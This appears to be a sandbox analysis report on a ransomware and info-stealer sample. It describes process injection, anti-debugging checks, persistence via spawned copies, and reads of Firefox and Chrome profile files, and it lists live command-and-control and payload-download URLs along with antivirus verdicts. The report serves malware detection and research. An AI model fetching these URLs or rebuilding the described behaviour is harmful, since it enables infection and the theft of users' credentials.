00000008.00000003.1811980705.0000000000793000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000732000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

API call chain: ExitProcess graph end node

graph_1-39507

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_0435171C rdtsc

0_2_0435171C

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_00424168 _memset,IsDebuggerPresent,

1_2_00424168

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

4_2_00481920

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

1_2_00412220

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043500A3 push dword ptr fs:[00000030h]	0_2_043500A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F0042 push dword ptr fs:[00000030h]	0_2_043F0042
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_041970A3 push dword ptr fs:[00000030h]	3_2_041970A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04360042 push dword ptr fs:[00000030h]	3_2_04360042
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_042930A3 push dword ptr fs:[00000030h]	5_2_042930A3
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04340042 push dword ptr fs:[00000030h]	5_2_04340042

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_004278D5 GetProcessHeap,

1_2_004278D5

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_043F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_043F0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Memory written: C:\Users\user\Desktop\n41dQbiw1Y.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Memory written: C:\Users\user\Desktop\n41dQbiw1Y.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Memory written: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Memory written: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Memory written: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_044180F6 cpuid

0_2_044180F6

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_04430AB6
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_043A0AB6
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_04380AB6

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_00409507 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00409507

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

1_2_00419F90

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

1_2_00419F90

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	211 Process Injection	22 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
n41dQbiw1Y.exe	96%	ReversingLabs	Win32.Ransomware.MintZard
n41dQbiw1Y.exe	100%	Avira	HEUR/AGEN.1312455
n41dQbiw1Y.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	96%	ReversingLabs	Win32.Ransomware.MintZard

Source	Detection	Scanner	Label
http://zexeq.com/raud/get.phprSK	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe(w	0%	Avira URL Cloud	safe
https://opendgame.ddns.net/endgame	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php	0%	Avira URL Cloud	safe
http://colisumy.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://firefox-source-docs.mozilla.org/remote/Security.html	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	0%	Avira URL Cloud	safe
https://www.openh264.org//	0%	Avira URL Cloud	safe
http://colisumy.com/dl/build2.exe	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exe	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$runF	0%	Avira URL Cloud	safe
https://www.widevine.com/3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
colisumy.com	127.0.0.1	true	true	unknown
api.2ip.ua	104.21.80.1	true	false	high
zexeq.com	188.40.141.211	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zexeq.com/raud/get.php	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	scriptCache-current.bin.4.dr	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/6w	n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/raud/get.phprSK	n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://colisumy.com/dl/build2.exe$run	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.amazon.com/	n41dQbiw1Y.exe, 00000004.00000003.1935620625.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://we.tl/t-e5pgPH03Bd	n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000948000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).	30264859306.ttf.4.dr, 27160079615.ttf.4.dr, 28367963232.ttf.4.dr	false		high
http://zexeq.com/files/1/build3.exe$run	n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi	scriptCache-current.bin.4.dr	false		high
http://www.twitter.com/	n41dQbiw1Y.exe, 00000004.00000003.1936031831.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180	scriptCache-current.bin.4.dr	false		high
